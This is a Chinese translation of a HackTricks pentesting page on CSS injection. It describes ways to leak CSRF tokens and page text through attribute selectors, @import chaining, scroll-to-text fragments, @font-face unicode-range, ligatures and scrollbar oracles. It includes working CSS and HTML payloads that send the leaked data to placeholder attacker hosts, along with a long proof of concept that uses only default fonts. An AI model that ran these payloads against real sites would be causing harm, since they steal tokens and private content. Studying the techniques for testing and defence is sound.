.. | ||
css-injection-code.md | ||
README.md |
CSS注入
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
CSS注入
属性选择器
CSS选择器被设计用来匹配input
元素的name
和value
属性的值。如果输入元素的value属性以特定字符开头,将加载预定义的外部资源:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
针对隐藏元素的绕过方法
为了规避这个限制,您可以使用~
通用兄弟选择器来定位后续的兄弟元素。然后CSS规则将应用于隐藏输入元素后面的所有兄弟元素,从而导致背景图片加载:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
CSS注入的先决条件
要使CSS注入技术有效,必须满足以下条件:
- 负载长度:CSS注入向量必须支持足够长的负载,以容纳精心设计的选择器。
- CSS重新评估:您应该有能力构建页面,这是触发使用新生成的负载重新评估CSS所必需的。
- 外部资源:该技术假定能够使用外部托管的图像。这可能会受到网站内容安全策略(CSP)的限制。
盲目属性选择器
正如在这篇文章中解释的,可以结合选择器**:has
和:not
**来识别甚至来自盲目元素的内容。当您不知道加载CSS注入的网页中有什么内容时,这非常有用。
还可以使用这些选择器从多个相同类型的块中提取信息,就像在下面的示例中一样:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
结合以下**@import技术,可以利用从盲目页面中使用CSS注入来窃取大量信息**blind-css-exfiltration。
@import
前一种技术有一些缺点,请检查先决条件。您需要能够向受害者发送多个链接,或者您需要能够将CSS注入漏洞页面嵌入到iframe中。
然而,还有另一种巧妙的技术,使用**CSS @import
**来提高技术的质量。
这是由Pepe Vila首次展示的,工作原理如下:
与以前的技术不同,我们不会一次又一次地加载相同的页面,每次加载时都带有数十个不同的有效负载(就像以前的技术一样),而是仅加载一次页面,只通过导入到攻击者服务器(这是要发送给受害者的有效负载):
@import url('//attacker.com:5001/start?');
- 攻击者将从攻击者那里接收一些CSS脚本,浏览器将加载它。
- 攻击者将发送的CSS脚本的第一部分是再次向攻击者服务器发送另一个
@import
。 - 攻击者服务器暂时不会响应此请求,因为我们希望泄漏一些字符,然后响应此导入以泄漏下一个字符。
- 负载的第二部分将是一个属性选择器泄漏负载。
- 这将向攻击者服务器发送秘密的第一个字符和最后一个字符。
- 一旦攻击者服务器收到秘密的第一个和最后一个字符,它将响应步骤2中请求的导入。
- 响应将与步骤2、3和4完全相同,但这次它将尝试找到秘密的第二个字符,然后是倒数第二个字符。
攻击者将跟随该循环,直到成功完全泄漏秘密。
您可以在此处找到原始Pepe Vila用于利用此漏洞的代码,或者您几乎可以在此处找到几乎相同的代码但有注释。
{% hint style="info" %} 该脚本将尝试每次发现2个字符(从开头和结尾)因为属性选择器允许执行以下操作:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
这使得脚本能更快地泄露秘密。 {% endhint %}
{% hint style="warning" %}
有时脚本无法正确检测到已发现的前缀 + 后缀已经是完整标志,它会继续向前(在前缀中)和向后(在后缀中)移动,最终会卡住。
别担心,只需检查输出,因为你可以在那里看到标志。
{% endhint %}
其他选择器
使用CSS选择器访问DOM部分的其他方法:
.class-to-search:nth-child(2)
:这将在DOM中搜索具有类“class-to-search”的第二个项目。:empty
选择器:例如在此解析中使用:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
基于错误的XS-Search
参考:基于CSS的攻击:滥用@font-face的unicode-range,@terjanq的基于错误的XS-Search PoC
总体意图是使用来自受控端点的自定义字体,并确保仅当无法加载指定资源(favicon.ico
)时,文本(在本例中为'A')才会显示为此字体。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- 自定义字体使用:
- 使用
<head>
部分中的<style>
标签内的@font-face
规则定义自定义字体。 - 字体名为
poc
,从外部端点(http://attacker.com/?leak
)获取。 - 将
unicode-range
属性设置为U+0041
,目标是特定的Unicode字符'A'。
- 带备用文本的对象元素:
- 在
<body>
部分创建了一个id="poc0"
的<object>
元素。该元素尝试从http://192.168.0.1/favicon.ico
加载资源。 - 为该元素设置
font-family
为'poc'
,如在<style>
部分中定义的。 - 如果资源(
favicon.ico
)加载失败,<object>
标签内的备用内容(字母'A')将被显示。 - 如果外部资源无法加载,备用内容('A')将使用自定义字体
poc
进行呈现。
样式化滚动到文本片段
使用**:target
伪类来选择被URL片段**定位的元素,如CSS选择器级别4规范中所述。需要理解的是,除非文本被片段明确定位,否则::target-text
不会匹配任何元素。
当攻击者利用滚动到文本片段功能时,会引发安全问题,允许他们通过HTML注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入类似以下的CSS规则:
:target::before { content : url(target.png) }
在这种情况下,如果页面上存在文本“管理员”,则会从服务器请求资源target.png
,表示文本存在。可以通过一个特制的URL执行此攻击实例,其中包含注入的CSS以及一个滚动到文本片段:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
这里,攻击利用HTML注入传输CSS代码,针对特定文本“Administrator”通过Scroll-to-text片段(#:~:text=Administrator
)。如果找到该文本,指定的资源将被加载,无意中向攻击者发出其存在的信号。
为了减轻风险,应注意以下几点:
- 受限的STTF匹配:Scroll-to-text Fragment (STTF)仅设计用于匹配单词或句子,从而限制其泄露任意机密信息或令牌的能力。
- 限制为顶层浏览上下文:STTF仅在顶层浏览上下文中运行,不在iframe内运行,使任何利用尝试更容易被用户注意到。
- 需要用户激活:STTF需要用户激活手势才能运行,这意味着利用只能通过用户发起的导航来实现。这一要求极大地减轻了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方式(例如社会工程、与流行浏览器扩展的交互),可能会促使攻击的自动化。
了解这些机制和潜在漏洞对于维护网络安全并防范此类攻击策略至关重要。
欲了解更多信息,请查看原始报告:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
您可以在这里检查一个使用此技术的CTF漏洞利用。
@font-face / unicode-range
您可以为特定Unicode值指定外部字体,仅当这些Unicode值存在于页面中时才会收集。例如:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
文本节点外泄(I):连字
参考资料: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
描述的技术涉及通过利用字体连字从节点中提取文本,并监视宽度的变化。该过程涉及几个步骤:
- 创建自定义字体:
- 使用具有
horiz-adv-x
属性的字形制作SVG字体,该属性为代表两个字符序列的字形设置了一个较大的宽度。 - 示例SVG字形:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
,其中"XY"表示两个字符序列。 - 然后使用fontforge将这些字体转换为woff格式。
- 检测宽度变化:
- 使用CSS确保文本不换行(
white-space: nowrap
),并自定义滚动条样式。 - 水平滚动条的出现,具有独特样式的滚动条,作为指示器(oracle),表明文本中存在特定的连字,因此存在特定的字符序列。
- 涉及的CSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- 利用过程:
- 步骤1:为具有大宽度的字符对创建字体。
- 步骤2:利用基于滚动条的技巧来检测何时呈现大宽度字形(代表字符对的连字),表明字符序列存在。
- 步骤3:在检测到连字时,生成代表三个字符序列的新字形,将检测到的对加入并添加一个前导或后继字符。
- 步骤4:进行三字符连字的检测。
- 步骤5:该过程重复,逐渐揭示整个文本。
- 优化:
- 当前的初始化方法使用
<meta refresh=...
并不是最佳的。 - 更有效的方法可能涉及使用CSS的
@import
技巧,增强利用的性能。
文本节点外泄(II):使用默认字体泄露字符集(无需外部资源)
参考资料: PoC using Comic Sans by @Cgvwzq & @Terjanq
这个技巧是在这个Slackers thread中发布的。可以使用浏览器中安装的默认字体泄露文本节点中使用的字符集:不需要外部 -或自定义- 字体。
这个概念围绕着利用动画逐渐扩展div
的宽度,允许一个字符一次从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分:
- 前缀:初始行。
- 后缀:随后的行。
字符的过渡阶段如下所示:
C
ADB
CA
DB
CAD
B
CADB
在这个过渡过程中,unicode-range技巧被用来识别每个新字符加入前缀时。通过将字体切换为Comic Sans,这个字体明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接地揭示了前缀中新字符的存在。
尽管这种方法允许检测字符逐个出现,但它并不指定重复的是哪个字符,只是发生了重复。
{% hint style="info" %}
基本上,unicode-range用于检测一个字符,但由于我们不想加载外部字体,我们需要找到另一种方法。
当找到字符时,它会被赋予预安装的Comic Sans字体,这会使字符变大并触发滚动条,从而泄露找到的字符。
{% endhint %}
检查从PoC中提取的代码:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
文本节点外泄(III):通过隐藏元素(无需外部资产)使用默认字体泄漏字符集
参考: 在此篇文章中提到了这个方法未成功
这种情况与前一种情况非常相似,但在这种情况下,使特定字符比其他字符更大的目的是隐藏某些内容,例如一个按钮,以免被机器人按下,或者一个不会被加载的图像。因此,我们可以测量动作(或缺乏动作),并知道特定字符是否存在于文本中。
文本节点外泄(III):通过缓存时间泄漏字符集(无需外部资产)
参考: 在此篇文章中提到了这个方法未成功
在这种情况下,我们可以尝试通过从相同来源加载假字体来泄漏文本中是否存在某个字符:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
如果匹配成功,字体将从/static/bootstrap.min.css?q=1
加载。虽然加载不会成功,浏览器应该会缓存它,即使没有缓存,也有304未修改机制,因此响应速度应该比其他内容更快。
然而,如果缓存响应与非缓存响应的时间差异不够大,这将没有用。例如,作者提到:然而,在测试后,我发现第一个问题是速度并没有太大差异,第二个问题是机器人使用了disk-cache-size=1
标志,这真的很周到。
文本节点外泄(III):通过计时加载数百个本地“字体”(不需要外部资产)泄漏字符集
参考: 这在此解决方案的写作中被提及为一个不成功的解决方案
在这种情况下,当匹配发生时,您可以指示CSS从同一源加载数百个虚假字体。这样,您可以测量所需的时间,并找出字符是否出现,例如:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
而机器人的代码如下:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
如果字体不匹配,则访问机器人时的响应时间预计约为30秒。然而,如果存在字体匹配,将发送多个请求以检索字体,导致网络持续活动。因此,将需要更长的时间来满足停止条件并接收响应。因此,响应时间可以用作指标来确定是否存在字体匹配。
参考资料
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm** 上**关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。